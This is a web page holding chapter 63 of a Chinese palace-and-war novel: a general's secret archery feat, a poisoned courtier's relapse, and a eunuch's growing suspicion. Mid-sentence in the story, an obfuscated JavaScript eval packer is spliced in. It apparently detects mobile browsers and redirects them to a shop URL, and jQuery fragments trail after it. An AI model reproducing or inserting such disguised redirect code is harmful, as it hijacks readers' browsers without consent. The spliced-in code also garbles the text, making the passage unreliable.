默认冷灰
24号文字
方正启体

63.羽穗

作者:热舞的拔萝卜本书字数:K更新时间:
    这之后,孔瞻就没有再单独找过谢恒谈话。


    到了傍晚,谢恒领的兵如同能预知般料敌先机,没能给敌方任何可乘之机,用一种及其短暂而又迅速的方式结束了交锋。


    孔瞻看着谢恒蛰伏在深夜的丛林里,更深露重,视野的远方正是匈奴军的身影。


    他取下背上的弓,借着粗壮的树干遮掩,双臂展开,肌肉绷紧,一张沉重的弓在他手中拉满,孔瞻隔得很近,甚至能清晰地听清扳指跟弓弦摩擦发出的渗人声响。


    眉目沉静,露水压在眼睫之上,一点寒芒忽闪,随着破空的一声,离弦之箭恍若撕破虚空,裹挟着千钧巨力洞穿了三个人的头颅,鲜血顿时飞溅——!


    敌军骚乱了。


    因为其中先从马背上翻身倒下的,是他们的首领,余萨。


    “……”


    孔瞻无话可说,瞠目结舌。


    一个人的天赋竟能高到如此地步,竟能在这个距离之下稳稳拿下敌军的头颅而分毫不差,他分明只有二十二岁,即便是从小磨练也绝非易事。


    如他所愿,这个滔天的功赏瞒住了大部分的人,由孔瞻领下。


    “恭喜孔将军,若得提携,可别忘了兄弟们呐!”


    庆功宴上,除了忙不迭急着恭维他的人,其余人已经在聊之后要与三殿下的亲国舅,中山侯朱靖汇合,一同班师回京的事情了。


    孔瞻喝了不少酒,恍惚间站起身,看到不远处的谢恒独自坐在一旁,因为他昨晚心情不佳,孔瞻不愿触霉头,他自己也一语不发,今日没他的戏份,因而更没什么人敢上前说几句什么恭维的话。


    谢恒屈膝坐在营帐前的台阶上,一旁放着一壶酒,看样子一口没动,他垂目细心地给他的鹰擦着爪子上的血,那是在射下余萨的头颅时,停在上头沾染的。


    忽然,谢恒抬头,瞧到了他,他才像是忽然想起来身旁还有一壶酒似的,冲他一笑,恭喜般地扬起酒壶晃了晃,掀开往嘴里倒了一大口。


    这时孔瞻才忽然意识到,有某些足矣改变他心志的转折,悄然间发生了。


    ……


    ……


    “咳……!”沈絮匆忙间扶住窗台边缘,跌跌撞撞间撞倒了不少东西,一时随着他的动作尽数摔碎在地上。


    夜幕当空,月色照人,将沈絮惨白的脸上一条又一条丑陋的青筋映得格外清晰,他完全招架不住忽如其来的痛楚,没有了药物的控制,每一条经络中潜伏已久的病脉隐隐作祟,他表皮的肉蠕动着,犹如密密麻麻的虫子在皮肉下起伏。


    坏了,怎么在这个时候毒发了。


    谢恒不日就要回京,照这每月毒发的势头,若下个月没有解药他就得重蹈覆辙,届时若是恰好撞到谢恒就……


    更何况每日晚上高德顺都会来送东西,白日还好,能用不在家搪塞过去,若到了夜晚就不太好模糊了。


    沈絮已经太久没有经历过这种痛苦,骤然一刺激,他没忍住,“哇——”地从喉咙口喷出一口猩红的血。


    沈絮五指死死抓住胸腔处的衣领,用力往下摁,却无论如何都没办法将近乎震碎肋骨的心跳声减缓半分。


    他奋力睁开被汗水糊住的双眼,在重影间不断寻找着什么……


    ……要快一点,快点找个什么东西分散一些注意力。


    沈絮抓住了桌面上的半截玉佩碎片吊着的羽穗,却不小心踢到桌角,身子失衡,重重跌倒在地上。


    ……


    ……


    一贯如此,从未改变。


    祸事无能为力,痛苦无可奈何。


    人生来分三六九等,低贱之人的性命不如阿猫阿狗,每一次交锋与试探,都需要他踩在生死线上才能勉强迈出一步。


    粉身碎骨之人何其多,可他们却连被提及的资格都没有,青史不留名,碑碣无其姓。


    他们要记的东西太多,光血海深仇就已经铭记了一大半,因而有些前尘旧事就总是被抛之脑后,再也容不下。


    谢逊说的那些相遇早已经在沈絮的脑海中淡忘,他只记得应下太子的交易前,自愿喝下的那碗药究竟有多苦。


    他无路可走。


    即便知道谢逊口中没几句实话,但却能借着他的情谊多迈上那么一两步。


    这没什么,史书由胜利者书写,若他赢了,想做权臣还是忠臣不过是笔墨之分,若他输了,那所谓的什么名声不名声的,也不重要了。


    他紧紧握住手里的那半块玉佩,微微蜷缩身体,从肺腑间长长吐出一口浊气,狂跳不止的心脏因而得到了一丝虚假的平静,嗡嗡作响的耳膜也开始能隐约听到些别的动静。


    风声、树影唰唰声、交谈声、脚步声。


    脚步三浅一深,及其缓慢,最后停在了他的门前。


    最后响起的,是敲门的声音,还有一道熟悉的传令声。


    “大人。”高德顺顺着门缝小声说,“此时打扰您有失礼仪,实在是方才奴才收到了殿下来的信,他叫奴才给您传个话。”


    “……”


    “……”


    沈絮止住颤抖,手里的玉佩握得更紧。


    “您不在么?”


    高德顺仔细听了听,又感觉能听出些细微动静,没能得到允许,他也不好自个儿就开了门,于是说,


    “奴才说了,您若是在,便听一听,若是没空,也不妨事,奴才明日再来时,会与您再说一遍的。”


    “殿下叫奴才跟您说,他大胜得归,最快半个月就能赶回来,叫您别乱吃东西,等着他。”高德顺说着说着有些委屈,“……对,奴才送的也不让吃了。”


    房内没有动静,高德顺又叫了几声,心中便有些感到不安,手刚搭在门上,门内就传来一声嘶哑残破的声音——


    “别进来。”沈絮捂住闷咳出血的嘴,狼狈地说,“我没事。”


    “但您的声音……”


    “——我没事。”沈絮说,“受寒了。”


    “奴才知道了。”高德顺迟疑片刻,下了一个台阶又折返,叮嘱道,“虽快入暑了,晚上是还有些冷,大人也要记得多添些衣裳,奴才明日就给您送来。”


    也不知沈絮听到了没,门内没传来的动静。


    高德顺想了想,还是一步三回头地离开了。


    回了殿后,高德顺便越想越不对劲。


    譬如声音。


    受寒了是这么个声音么?好歹也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776287|190031||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是伺候人长大的,即便区别再小,那也是有区别的,隔着门时他没听明白,回殿了反倒有几分后知后觉的意思。


    高德顺想了想,冲身旁的人说:“把先前叫你们准备着的外衫给我。”


    他把衣服打包好,匆匆忙忙入了夜色。


    ……


    “关门了?”


    驻守的侍卫为难不已,将朱红大门的门锁彻底落上。


    “高公公,这回我是真帮不了你了,这门禁本就早早的就该落了,方才放您出去那是,那是咱们的交情好,这回真不成了。”


    “什么成不成的,咱们的交情又不是不在了。”高德顺笑呵呵地将手里的碎银子塞给他,“就当再通融一次,咱家改日再请你们去吃个酒。”


    “这也不是吃不吃酒的问题,实在是……”侍卫左顾右盼,将他手中的银子给推了回去,“实在是近些日子管的严,鸾凤殿那位主子告病了好几月,陛下也因此生了脾气,虽说太子跟三殿下那边有了好消息,可毕竟后宫里说话的主子变了,皇后勒令的又紧……您懂得。”


    “我明白了。”


    算了算日子,若是谢恒回京,应当也用不了多久,高德顺没有继续纠缠,在对方依依不舍的目光之下将银子收回了。


    “叨扰了,咱家还有要紧的事,便先回去了。”


    “诶,公公慢走。”


    高德顺回去之后,摆了墨宝,提笔先将今日的事情与谢恒说了,然后再将近日里后宫里的消息通通讲了一遍,卷好之后便系在了信鸽的腿上。


    想了想,他又提笔给高保全写了一封,递给了身旁传话的小奴才。


    倒也没什么要紧的话,多是些嘘寒问暖,希望能腾出时间聚一聚一类的。


    起先,高德顺总是觉得像高保全这样的地位,应当不会太过在意他这么区区一个小小皇子大伴,从沈絮请求他给高保全传话道谢时他便这么想了,这大约就是唯一能接触道西厂厂公的机会。


    至于什么所谓的爹啊,爷的,哪怕是祖宗那也是在宫中为了活命而瞎认的,光高保全的子孙后代都不知有多少个小太监了,谁还认识他这么一个人。


    因而“沈絮竟然认识西厂厂公”这件事对于他而言,还挺意外的,但转念一想,沈絮是个有真本事的,即便认识也没什么特别的,毕竟自己家的殿下都被他馋的五迷三道的,打量着谁都看不出来似的……


    当初传完话之后,高保全那张笑眯眯的脸上笑意更深了:“哎呀,举手之劳,何足挂齿。”


    这之后,高保全就时常与他联系,被选做大伴后本来也跟西厂没什么太多的联系了,高德顺虽然也跟着姓高,但也是一同喊的“高公公”。


    高保全也完全不在乎,反而与他更加亲昵。


    时不时就朝他打听殿下的行踪,但也知礼仪知分寸,明白什么该问什么不该问,大多都只是些时辰呐,战局一类的。


    这些朝中日日都在说,民间也都传的沸沸扬扬,赢了是赢了,当高保全问高德顺,余萨的脑袋是谁拿的时,高德顺回答的是三殿下手里的副将,叫孔瞻。


    高保全当时脸上的神情十分古怪,细长的眉梢一挑,点首说:“英雄出少年呐。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)